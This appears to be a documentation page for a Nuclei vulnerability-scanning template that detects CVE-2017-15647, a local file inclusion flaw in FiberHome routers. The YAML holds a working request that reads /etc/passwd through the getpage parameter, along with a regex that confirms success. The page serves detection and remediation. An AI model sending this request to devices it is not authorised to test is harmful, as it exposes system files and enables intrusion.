FiberHome Routers - Local File Inclusion
ID: CVE-2017-15647
Severity: high
Author: daffainfo
Tags: cve,cve2017,lfi,router,edb,fiberhome
Description
Section titled “Description”FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
YAML Source
Section titled “YAML Source”id: CVE-2017-15647
info: name: FiberHome Routers - Local File Inclusion author: daffainfo severity: high description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value. impact: | An attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure. remediation: | Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/44054 - https://blogs.securiteam.com/index.php/archives/3472 - https://nvd.nist.gov/vuln/detail/CVE-2017-15647 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-15647 cwe-id: CWE-22 epss-score: 0.02013 epss-percentile: 0.87655 cpe: cpe:2.3:o:fiberhome:routerfiberhome_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fiberhome product: routerfiberhome_firmware tags: cve,cve2017,lfi,router,edb,fiberhome
http: - method: GET path: - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4b0a00483046022100ff87db6361bfed6d6a0ae8baf4a8769bb4a990cf2e538fff615ef767e54bad57022100eaee879ab0b9af61016d84d6ed6855d9e10d3b2fc498e88b6dc9b6fdfe23c911:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-15647.yaml"